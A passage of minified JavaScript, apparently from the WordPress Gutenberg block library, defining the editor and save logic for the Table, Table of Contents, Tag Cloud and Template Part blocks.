o=(0,St.get)(r,["cells",t],{});return{...(0,St.pick)(o,Yf),content:"",tag:"head"===n?"th":"td"}}))},...e[n].slice(o)]}:e}function ek(e,t){let{columnIndex:n}=t;const o=(0,St.pick)(e,["head","body","foot"]);return(0,St.mapValues)(o,((e,t)=>nk(e)?e:e.map((e=>ok(e)||e.cells.length<n?e:{cells:[...e.cells.slice(0,n),{content:"",tag:"head"===t?"th":"td"},...e.cells.slice(n)]}))))}function tk(e,t){return nk(e[t])?Xf(e,{sectionName:t,rowIndex:0,columnCount:(0,St.get)(e,["body",0,"cells","length"],1)}):{[t]:[]}}function nk(e){return!e||!e.length||(0,St.every)(e,ok)}function ok(e){return!(e.cells&&e.cells.length)}const ak=[{icon:Gf,title:(0,je.__)("Align column left"),align:"left"},{icon:$f,title:(0,je.__)("Align column center"),align:"center"},{icon:Uf,title:(0,je.__)("Align column right"),align:"right"}],rk={head:(0,je.__)("Header cell text"),body:(0,je.__)("Body cell text"),foot:(0,je.__)("Footer cell text")},lk={head:(0,je.__)("Header label"),foot:(0,je.__)("Footer label")};function ik(e){let{name:t,...n}=e;const o=`t${t}`;return(0,$e.createElement)(o,n)}const sk=e=>{let{phrasingContentSchema:t}=e;return{tr:{allowEmpty:!0,children:{th:{allowEmpty:!0,children:t,attributes:["scope"]},td:{allowEmpty:!0,children:t}}}}},ck={from:[{type:"raw",selector:"table",schema:e=>({table:{children:{thead:{allowEmpty:!0,children:sk(e)},tfoot:{allowEmpty:!0,children:sk(e)},tbody:{allowEmpty:!0,children:sk(e)}}}})}]},uk={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/table",title:"Table",category:"text",description:"Create structured content in rows and columns to display information.",textdomain:"default",attributes:{hasFixedLayout:{type:"boolean",default:!1},caption:{type:"string",source:"html",selector:"figcaption",default:""},head:{type:"array",default:[],source:"query",selector:"thead tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"}}}}},body:{type:"array",default:[],source:"query",selector:"tbody tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"}}}}},foot:{type:"array",default:[],source:"query",selector:"tfoot tr",query:{cells:{type:"array",default:[],source:"query",selector:"td,th",query:{content:{type:"string",source:"html"},tag:{type:"string",default:"td",source:"tag"},scope:{type:"string",source:"attribute",attribute:"scope"},align:{type:"string",source:"attribute",attribute:"data-align"}}}}}},supports:{anchor:!0,align:!0,color:{__experimentalSkipSerialization:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{__experimentalSkipSerialization:!0,color:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,style:!0,width:!0}},__experimentalSelector:".wp-block-table > table"},styles:[{name:"regular",label:"Default",isDefault:!0},{name:"stripes",label:"Stripes"}],editorStyle:"wp-block-table-editor",style:"wp-block-table"},{name:mk}=uk,dk={icon:Vf,example:{attributes:{head:[{cells:[{content:(0,je.__)("Version"),tag:"th"},{content:(0,je.__)("Jazz Musician"),tag:"th"},{content:(0,je.__)("Release Date"),tag:"th"}]}],body:[{cells:[{content:"5.2",tag:"td"},{content:"Jaco Pastorius",tag:"td"},{content:(0,je.__)("May 7, 2019"),tag:"td"}]},{cells:[{content:"5.1",tag:"td"},{content:"Betty Carter",tag:"td"},{content:(0,je.__)("February 21, 2019"),tag:"td"}]},{cells:[{content:"5.0",tag:"td"},{content:"Bebo Valdés",tag:"td"},{content:(0,je.__)("December 6, 2018"),tag:"td"}]}]}},transforms:ck,edit:function(e){var t;let{attributes:n,setAttributes:o,insertBlocksAfter:a,isSelected:r}=e;const{hasFixedLayout:l,caption:i,head:s,foot:c}=n,[u,m]=(0,$e.useState)(2),[d,p]=(0,$e.useState)(2),[g,h]=(0,$e.useState)(),v=(0,Ze.__experimentalUseColorProps)(n),b=(0,Ze.__experimentalUseBorderProps)(n),_=(0,$e.useRef)(),[y,f]=(0,$e.useState)(!1);function k(e){g&&o(Jf(n,g,(t=>({...t,content:e}))))}function x(e){if(!g)return;const{sectionName:t,rowIndex:a}=g,r=a+e;o(Xf(n,{sectionName:t,rowIndex:r})),h({sectionName:t,rowIndex:r,columnIndex:0,type:"cell"})}function w(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;if(!g)return;const{columnIndex:t}=g,a=t+e;o(ek(n,{columnIndex:a})),h({rowIndex:0,columnIndex:a,type:"cell"})}(0,$e.useEffect)((()=>{r||h()}),[r]),(0,$e.useEffect)((()=>{var e,t;y&&(null==_||null===(e=_.current)||void 0===e||null===(t=e.querySelector('td[contentEditable="true"]'))||void 0===t||t.focus(),f(!1))}),[y]);const E=["head","body","foot"].filter((e=>!nk(n[e]))),C=[{icon:Of,title:(0,je.__)("Insert row before"),isDisabled:!g,onClick:function(){x(0)}},{icon:qf,title:(0,je.__)("Insert row after"),isDisabled:!g,onClick:function(){x(1)}},{icon:Wf,title:(0,je.__)("Delete row"),isDisabled:!g,onClick:function(){if(!g)return;const{sectionName:e,rowIndex:t}=g;h(),o(function(e,t){let{sectionName:n,rowIndex:o}=t;return{[n]:e[n].filter(((e,t)=>t!==o))}}(n,{sectionName:e,rowIndex:t}))}},{icon:jf,title:(0,je.__)("Insert column before"),isDisabled:!g,onClick:function(){w(0)}},{icon:Zf,title:(0,je.__)("Insert column after"),isDisabled:!g,onClick:function(){w(1)}},{icon:Qf,title:(0,je.__)("Delete column"),isDisabled:!g,onClick:function(){if(!g)return;const{sectionName:e,columnIndex:t}=g;h(),o(function(e,t){let{columnIndex:n}=t;const o=(0,St.pick)(e,["head","body","foot"]);return(0,St.mapValues)(o,(e=>nk(e)?e:e.map((e=>({cells:e.cells.length>=n?e.cells.filter(((e,t)=>t!==n)):e.cells}))).filter((e=>e.cells.length))))}(n,{sectionName:e,columnIndex:t}))}}],S=["head","body","foot"].map((e=>(0,$e.createElement)(ik,{name:e,key:e},n[e].map(((t,n)=>{let{cells:o}=t;return(0,$e.createElement)("tr",{key:n},o.map(((t,o)=>{let{content:a,tag:r,scope:l,align:i}=t;return(0,$e.createElement)(Ze.RichText,{tagName:r,key:o,className:at()({[`has-text-align-${i}`]:i},"wp-block-table__cell-content"),scope:"th"===r?l:void 0,value:a,onChange:k,unstableOnFocus:()=>{h({sectionName:e,rowIndex:n,columnIndex:o,type:"cell"})},"aria-label":rk[e],placeholder:lk[e]})})))}))))),B=!E.length;return(0,$e.createElement)("figure",(0,Ze.useBlockProps)({ref:_}),!B&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{label:(0,je.__)("Change column alignment"),alignmentControls:ak,value:function(){if(g)return function(e,t,n){const{sectionName:o,rowIndex:a,columnIndex:r}=t;return(0,St.get)(e,[o,a,"cells",r,"align"])}(n,g)}(),onChange:e=>function(e){if(!g)return;const t={type:"column",columnIndex:g.columnIndex},a=Jf(n,t,(t=>({...t,align:e})));o(a)}(e)})),(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(We.ToolbarDropdownMenu,{hasArrowIndicator:!0,icon:Kf,label:(0,je.__)("Edit table"),controls:C}))),!B&&(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings"),className:"blocks-table-settings"},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Fixed width table cells"),checked:!!l,onChange:function(){o({hasFixedLayout:!l})}}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Header section"),checked:!(!s||!s.length),onChange:function(){o(tk(n,"head"))}}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Footer section"),checked:!(!c||!c.length),onChange:function(){o(tk(n,"foot"))}}))),!B&&(0,$e.createElement)("table",{className:at()(v.className,b.className,{"has-fixed-layout":l,"has-individual-borders":(0,We.__experimentalHasSplitBorders)(null==n||null===(t=n.style)||void 0===t?void 0:t.border)}),style:{...v.style,...b.style}},S),!B&&(0,$e.createElement)(Ze.RichText,{tagName:"figcaption",className:(0,Ze.__experimentalGetElementClassName)("caption"),"aria-label":(0,je.__)("Table caption text"),placeholder:(0,je.__)("Add caption"),value:i,onChange:e=>o({caption:e}),unstableOnFocus:()=>h(),__unstableOnSplitAtEnd:()=>a((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))}),B&&(0,$e.createElement)(We.Placeholder,{label:(0,je.__)("Table"),icon:(0,$e.createElement)(Ze.BlockIcon,{icon:Vf,showColors:!0}),instructions:(0,je.__)("Insert a table for sharing data.")},(0,$e.createElement)("form",{className:"blocks-table__placeholder-form",onSubmit:function(e){e.preventDefault(),o(function(e){let{rowCount:t,columnCount:n}=e;return{body:Array.from({length:t}).map((()=>({cells:Array.from({length:n}).map((()=>({content:"",tag:"td"})))})))}}({rowCount:parseInt(u,10)||2,columnCount:parseInt(d,10)||2})),f(!0)}},(0,$e.createElement)(We.TextControl,{type:"number",label:(0,je.__)("Column count"),value:d,onChange:function(e){p(e)},min:"1",className:"blocks-table__placeholder-input"}),(0,$e.createElement)(We.TextControl,{type:"number",label:(0,je.__)("Row count"),value:u,onChange:function(e){m(e)},min:"1",className:"blocks-table__placeholder-input"}),(0,$e.createElement)(We.Button,{className:"blocks-table__placeholder-button",variant:"primary",type:"submit"},(0,je.__)("Create Table")))))},save:function(e){let{attributes:t}=e;const{hasFixedLayout:n,head:o,body:a,foot:r,caption:l}=t;if(!o.length&&!a.length&&!r.length)return null;const i=(0,Ze.__experimentalGetColorClassesAndStyles)(t),s=(0,Ze.__experimentalGetBorderClassesAndStyles)(t),c=at()(i.className,s.className,{"has-fixed-layout":n}),u=!Ze.RichText.isEmpty(l),m=e=>{let{type:t,rows:n}=e;if(!n.length)return null;const o=`t${t}`;return(0,$e.createElement)(o,null,n.map(((e,t)=>{let{cells:n}=e;return(0,$e.createElement)("tr",{key:t},n.map(((e,t)=>{let{content:n,tag:o,scope:a,align:r}=e;const l=at()({[`has-text-align-${r}`]:r});return(0,$e.createElement)(Ze.RichText.Content,{className:l||void 0,"data-align":r,tagName:o,value:n,key:t,scope:"th"===o?a:void 0})})))})))};return(0,$e.createElement)("figure",Ze.useBlockProps.save(),(0,$e.createElement)("table",{className:""===c?void 0:c,style:{...i.style,...s.style}},(0,$e.createElement)(m,{type:"head",rows:o}),(0,$e.createElement)(m,{type:"body",rows:a}),(0,$e.createElement)(m,{type:"foot",rows:r})),u&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:l,className:(0,Ze.__experimentalGetElementClassName)("caption")}))},deprecated:Ff},pk=()=>qe({name:mk,metadata:uk,settings:dk}),gk=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"M15.1 15.8H20v-1.5h-4.9v1.5zm-4-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0 3c-.6 0-1-.4-1-1s.4-1 1-1 1 .4 1 1-.4 1-1 1zm5-3c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zM6 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z",fill:"#1e1e1e"})),hk="wp-block-table-of-contents__entry";function vk(e){let{nestedHeadingList:t}=e;return(0,$e.createElement)($e.Fragment,null,t.map(((e,t)=>{const{content:n,link:o}=e.heading,a=o?(0,$e.createElement)("a",{className:hk,href:o},n):(0,$e.createElement)("span",{className:hk},n);return(0,$e.createElement)("li",{key:t},a,e.children?(0,$e.createElement)("ol",null,(0,$e.createElement)(vk,{nestedHeadingList:e.children})):null)})))}function bk(e){const t=[];return e.forEach(((n,o)=>{var a;if(""!==n.content&&n.level===e[0].level)if((null===(a=e[o+1])||void 0===a?void 0:a.level)>n.level){let a=e.length;for(let t=o+1;t<e.length;t++)if(e[t].level===n.level){a=t;break}t.push({heading:n,children:bk(e.slice(o+1,a))})}else t.push({heading:n,children:null})})),t}const _k={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,__experimental:!0,name:"core/table-of-contents",title:"Table of Contents",category:"layout",description:"Summarize your post with a list of headings. Add HTML anchors to Heading blocks to link them here.",keywords:["document outline","summary"],textdomain:"default",attributes:{headings:{type:"array",items:{type:"object"}},onlyIncludeCurrentPage:{type:"boolean",default:!1}},supports:{html:!1,color:{text:!0,background:!0,gradients:!0,link:!0},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},example:{}},{name:yk}=_k,fk={icon:gk,edit:function(e){let{attributes:{headings:t=[],onlyIncludeCurrentPage:n},clientId:o,setAttributes:a}=e;const r=(0,Ze.useBlockProps)(),l=(0,Wt.useDisabled)(),i=(0,it.useSelect)((e=>{const{getBlockRootClientId:t,canInsertBlockType:n}=e(Ze.store);return n("core/list",t(o))}),[o]),{__unstableMarkNextChangeAsNotPersistent:s,replaceBlocks:c}=(0,it.useDispatch)(Ze.store),u=(0,it.useSelect)((e=>{var a;const{getBlockAttributes:r,getBlockName:l,getClientIdsWithDescendants:i,__experimentalGetGlobalBlocksByName:s}=e(Ze.store),c=e("core/editor"),u=0!==s("core/nextpage").length,m=i();let d=1;if(u&&n){const e=m.indexOf(o);for(const[t,n]of m.entries()){if(t>=e)break;"core/nextpage"===l(n)&&d++}}const p=[];let g=1;const h=null!==(a=null==c?void 0:c.getPermalink())&&void 0!==a?a:null;let v=null;"string"==typeof h&&(v=u?(0,rt.addQueryArgs)(h,{page:g}):h);for(const e of m){const t=l(e);if("core/nextpage"===t){if(g++,n&&g>d)break;"string"==typeof h&&(v=(0,rt.addQueryArgs)((0,rt.removeQueryArgs)(h,["page"]),{page:g}))}else if((!n||g===d)&&"core/heading"===t){const t=r(e),n="string"==typeof v&&"string"==typeof t.anchor&&""!==t.anchor;p.push({content:(0,id.__unstableStripHTML)(t.content.replace(/(<br *\/?>)+/g," ")),level:t.level,link:n?`${v}#${t.anchor}`:null})}}return(0,St.isEqual)(t,p)?null:p}),[o,n,t]);(0,$e.useEffect)((()=>{null!==u&&(s(),a({headings:u}))}),[u]);const m=bk(t),d=i&&(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,null,(0,$e.createElement)(We.ToolbarButton,{onClick:()=>c(o,(0,Ge.createBlock)("core/list",{ordered:!0,values:(0,$e.renderToString)((0,$e.createElement)(vk,{nestedHeadingList:m}))}))},(0,je.__)("Convert to static list")))),p=(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Only include current page"),checked:n,onChange:e=>a({onlyIncludeCurrentPage:e}),help:n?(0,je.__)("Only including headings from the current page (if the post is paginated)."):(0,je.__)("Toggle to only include headings from the current page (if the post is paginated).")})));return 0===t.length?(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("div",r,(0,$e.createElement)(We.Placeholder,{icon:(0,$e.createElement)(Ze.BlockIcon,{icon:gk}),label:"Table of Contents",instructions:(0,je.__)("Start adding Heading blocks to create a table of contents. Headings with HTML anchors will be linked here.")})),p):(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("nav",r,(0,$e.createElement)("ol",{ref:l},(0,$e.createElement)(vk,{nestedHeadingList:m}))),d,p)},save:function(e){let{attributes:{headings:t=[]}}=e;return 0===t.length?null:(0,$e.createElement)("nav",Ze.useBlockProps.save(),(0,$e.createElement)("ol",null,(0,$e.createElement)(vk,{nestedHeadingList:bk(t)})))}},kk=()=>qe({name:yk,metadata:_k,settings:fk}),xk={from:[{type:"block",blocks:["core/categories"],transform:()=>(0,Ge.createBlock)("core/tag-cloud")}],to:[{type:"block",blocks:["core/categories"],transform:()=>(0,Ge.createBlock)("core/categories")}]},wk=(0,it.withSelect)((e=>({taxonomies:e(lt.store).getTaxonomies({per_page:-1})})))((function(e){let{attributes:t,setAttributes:n,taxonomies:o}=e;const{taxonomy:a,showTagCounts:r,numberOfTags:l,smallestFontSize:i,largestFontSize:s}=t,c=(0,We.__experimentalUseCustomUnits)({availableUnits:(0,Ze.useSetting)("spacing.units")||["%","px","em","rem"]}),u=(e,t)=>{const[o,a]=(0,We.__experimentalParseQuantityAndUnitFromRawValue)(t);if(!Number.isFinite(o))return;const r={[e]:t};Object.entries({smallestFontSize:i,largestFontSize:s}).forEach((t=>{let[n,o]=t;const[l,i]=(0,We.__experimentalParseQuantityAndUnitFromRawValue)(o);n!==e&&i!==a&&(r[n]=`${l}${a}`)})),n(r)},m=(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Taxonomy"),options:[{label:(0,je.__)("- Select -"),value:"",disabled:!0},...(0,St.map)((0,St.filter)(o,"show_cloud"),(e=>({value:e.slug,label:e.name})))],value:a,onChange:e=>n({taxonomy:e})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show post counts"),checked:r,onChange:()=>n({showTagCounts:!r})}),(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Number of tags"),value:l,onChange:e=>n({numberOfTags:e}),min:1,max:100,required:!0}),(0,$e.createElement)(We.Flex,null,(0,$e.createElement)(We.FlexItem,{isBlock:!0},(0,$e.createElement)(We.__experimentalUnitControl,{label:(0,je.__)("Smallest size"),value:i,onChange:e=>{u("smallestFontSize",e)},units:c,min:.1,max:100})),(0,$e.createElement)(We.FlexItem,{isBlock:!0},(0,$e.createElement)(We.__experimentalUnitControl,{label:(0,je.__)("Largest size"),value:s,onChange:e=>{u("largestFontSize",e)},units:c,min:.1,max:100})))));return(0,$e.createElement)($e.Fragment,null,m,(0,$e.createElement)("div",(0,Ze.useBlockProps)(),(0,$e.createElement)(Ke(),{key:"tag-cloud",block:"core/tag-cloud",attributes:t})))})),Ek={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/tag-cloud",title:"Tag Cloud",category:"widgets",description:"A cloud of your most used tags.",textdomain:"default",attributes:{numberOfTags:{type:"number",default:45,minimum:1,maximum:100},taxonomy:{type:"string",default:"post_tag"},showTagCounts:{type:"boolean",default:!1},smallestFontSize:{type:"string",default:"8pt"},largestFontSize:{type:"string",default:"22pt"}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"outline",label:"Outline"}],supports:{html:!1,align:!0,spacing:{margin:!0,padding:!0}},editorStyle:"wp-block-tag-cloud-editor"},{name:Ck}=Ek,Sk={icon:Lp,example:{},edit:wk,transforms:xk},Bk=()=>qe({name:Ck,metadata:Ek,settings:Sk});var Tk=function(){return Tk=Object.assign||function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var a in t=arguments[n])Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a]);return e},Tk.apply(this,arguments)};function Nk(e){return e.toLowerCase()}Object.create,Object.create;var Pk=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],Ik=/[^A-Z0-9]+/gi;function zk(e,t,n){return t instanceof RegExp?e.replace(t,n):t.reduce((function(e,t){return e.replace(t,n)}),e)}function Mk(e){return function(e){return e.charAt(0).toUpperCase()+e.substr(1)}(e.toLowerCase())}const Lk=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"}));function Rk(e,t){const{templateParts:n,isResolving:o}=(0,it.useSelect)((e=>{const{getEntityRecords:t,isResolving:n}=e(lt.store),o={per_page:-1};return{templateParts:t("postType","wp_template_part",o),isLoading:n("getEntityRecords",["postType","wp_template_part",o])}}),[]);return{templateParts:(0,$e.useMemo)((()=>n&&n.filter((n=>Gd(n.theme,n.slug)!==t&&(!e||"uncategorized"===e||n.area===e)))||[]),[n,e]),isResolving:o}}function Ak(e,t){return(0,it.useSelect)((n=>{const o=e?`core/template-part/${e}`:"core/template-part",{getBlockRootClientId:a,__experimentalGetPatternsByBlockTypes:r}=n(Ze.store);return r(o,a(t))}),[e,t])}function Vk(e,t){const{saveEntityRecord:n}=(0,it.useDispatch)(lt.store);return async function(){let o=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],a=arguments.length>1&&void 0!==arguments[1]?arguments[1]:(0,je.__)("Untitled Template Part");const r=(0,St.kebabCase)(a).replace(/[^\w-]+/g,"")||"wp-custom-part",l={title:a,slug:r,content:(0,Ge.serialize)(o),area:e},i=await n("postType","wp_template_part",l);t({slug:i.slug,theme:i.theme,area:void 0})}}function Hk(e){return(0,it.useSelect)((t=>{var n;const o=t("core/editor").__experimentalGetDefaultTemplatePartAreas(),a=(0,St.find)(o,{area:e}),r=(0,St.find)(o,{area:"uncategorized"});return{icon:(null==a?void 0:a.icon)||(null==r?void 0:r.icon),label:(null==a?void 0:a.label)||(0,je.__)("Template Part"),tagName:null!==(n=null==a?void 0:a.area_tag)&&void 0!==n?n:"div"}}),[e])}function Dk(e){let{areaLabel:t,onClose:n,onSubmit:o}=e;const[a,r]=(0,$e.useState)((0,je.__)("Untitled Template Part"));return(0,$e.createElement)(We.Modal,{title:(0,je.sprintf)(// Translators: %s as template part area title ("Header", "Footer", etc.).
(0,je.__)("Name and create your new %s"),t.toLowerCase()),closeLabel:(0,je.__)("Cancel"),overlayClassName:"wp-block-template-part__placeholder-create-new__title-form",onRequestClose:n},(0,$e.createElement)("form",{onSubmit:e=>{e.preventDefault(),o(a)}},(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Name"),value:a,onChange:r}),(0,$e.createElement)(We.Flex,{className:"wp-block-template-part__placeholder-create-new__title-form-actions",justify:"flex-end"},(0,$e.createElement)(We.FlexItem,null,(0,$e.createElement)(We.Button,{variant:"primary",type:"submit",disabled:!a.length,"aria-disabled":!a.length},(0,je.__)("Create"))))))}function Fk(e){let{area:t,clientId:n,templatePartId:o,onOpenSelectionModal:a,setAttributes:r}=e;const{templateParts:l,isResolving:i}=Rk(t,o),s=Ak(t,n),[c,u]=(0,$e.useState)(!1),m=Hk(t),d=Vk(t,r);return(0,$e.createElement)(We.Placeholder,{icon:m.icon,label:m.label,instructions:(0,je.sprintf)(// Translators: %s as template part area title ("Header", "Footer", etc.).
(0,je.__)("Choose an existing %s or create a new one."),m.label.toLowerCase())},i&&(0,$e.createElement)(We.Spinner,null),!i&&!(!l.length&&!s.length)&&(0,$e.createElement)(We.Button,{variant:"primary",onClick:a},(0,je.__)("Choose")),!i&&(0,$e.createElement)(We.Button,{variant:"secondary",onClick:()=>{u(!0)}},(0,je.__)("Start blank")),c&&(0,$e.createElement)(Dk,{areaLabel:m.label,onClose:()=>u(!1),onSubmit:e=>{d([],e)}}))}function Gk(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"";return e=Nc()(e),e=e.trim().toLowerCase(),e}function $k(e,t){const n=Gk(t),o=Gk(e.title);let a=0;return n===o?a+=30:o.startsWith(n)?a+=20:n.split(" ").every((e=>o.includes(e)))&&(a+=10),a}function Uk(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";if(!t)return e;const n=e.map((e=>[e,$k(e,t)])).filter((e=>{let[,t]=e;return t>0}));return n.sort(((e,t)=>{let[,n]=e,[,o]=t;return o-n})),n.map((e=>{let[t]=e;return t}))}function Ok(e){let{setAttributes:t,onClose:n,templatePartId:o=null,area:a,clientId:r}=e;const[l,i]=(0,$e.useState)(""),{templateParts:s}=Rk(a,o),c=(0,$e.useMemo)((()=>Uk(s.map((e=>({name:Gd(e.theme,e.slug),title:e.title.rendered,blocks:(0,Ge.parse)(e.content.raw),templatePart:e}))),l)),[s,l]),u=(0,Wt.useAsyncList)(c),m=Ak(a,r),d=(0,$e.useMemo)((()=>Uk(m,l)),[m,l]),p=(0,Wt.useAsyncList)(d),{createSuccessNotice:g}=(0,it.useDispatch)(wt.store),h=(0,$e.useCallback)((e=>{var o;t({slug:e.slug,theme:e.theme,area:void 0}),g((0,je.sprintf)(
/* translators: %s: template part title. */
(0,je.__)('Template Part "%s" inserted.'),(null===(o=e.title)||void 0===o?void 0:o.rendered)||e.slug),{type:"snackbar"}),n()}),[]),v=Vk(a,t),b=!!c.length,_=!!d.length;return(0,$e.createElement)("div",{className:"block-library-template-part__selection-content"},(0,$e.createElement)("div",{className:"block-library-template-part__selection-search"},(0,$e.createElement)(We.SearchControl,{onChange:i,value:l,label:(0,je.__)("Search for replacements"),placeholder:(0,je.__)("Search")})),b&&(0,$e.createElement)("div",null,(0,$e.createElement)("h2",null,(0,je.__)("Existing template parts")),(0,$e.createElement)(Ze.__experimentalBlockPatternsList,{blockPatterns:c,shownPatterns:u,onClickPattern:e=>{h(e.templatePart)}})),_&&(0,$e.createElement)("div",null,(0,$e.createElement)("h2",null,(0,je.__)("Patterns")),(0,$e.createElement)(Ze.__experimentalBlockPatternsList,{blockPatterns:d,shownPatterns:p,onClickPattern:(e,t)=>{v(t,e.title),n()}})),!b&&!_&&(0,$e.createElement)(We.__experimentalHStack,{alignment:"center"},(0,$e.createElement)("p",null,(0,je.__)("No results found."))))}function qk(e){let{tagName:t,setAttributes:n,isEntityAvailable:o,templatePartId:a,defaultWrapper:r}=e;const[l,i]=(0,lt.useEntityProp)("postType","wp_template_part","area",a),[s,c]=(0,lt.useEntityProp)("postType","wp_template_part","title",a),{areaOptions:u}=(0,it.useSelect)((e=>({areaOptions:e("core/editor").__experimentalGetDefaultTemplatePartAreas().map((e=>{let{label:t,area:n}=e;return{label:t,value:n}}))})),[]);return(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"advanced"},o&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Title"),value:s,onChange:e=>{c(e)},onFocus:e=>e.target.select()}),(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Area"),labelPosition:"top",options:u,value:l,onChange:i})),(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("HTML element"),options:[{label:(0,je.sprintf)(
/* translators: %s: HTML tag based on area. */
(0,je.__)("Default based on area (%s)"),`<${r}>`),value:""},{label:"<header>",value:"header"},{label:"<main>",value:"main"},{label:"<section>",value:"section"},{label:"<article>",value:"article"},{label:"<aside>",value:"aside"},{label:"<footer>",value:"footer"},{label:"<div>",value:"div"}],value:t||"",onChange:e=>n({tagName:e})}))}function Wk(e){let{postId:t,hasInnerBlocks:n,layout:o,tagName:a,blockProps:r}=e;const l=(0,it.useSelect)((e=>{var t;const{getSettings:n}=e(Ze.store);return null===(t=n())||void 0===t?void 0:t.supportsLayout}),[]),i=(0,Ze.useSetting)("layout")||{},s=o&&o.inherit?i:o,[c,u,m]=(0,lt.useEntityBlockEditor)("postType","wp_template_part",{id:t}),d=(0,Ze.useInnerBlocksProps)(r,{value:c,onInput:u,onChange:m,renderAppender:n?void 0:Ze.InnerBlocks.ButtonBlockAppender,__experimentalLayout:l?s:void 0});return(0,$e.createElement)(a,d)}const jk=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})),Zk=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{fillRule:"evenodd",d:"M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})),Qk=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"}));function Kk(e,t){if("core/template-part"!==t)return e;if(e.variations){const 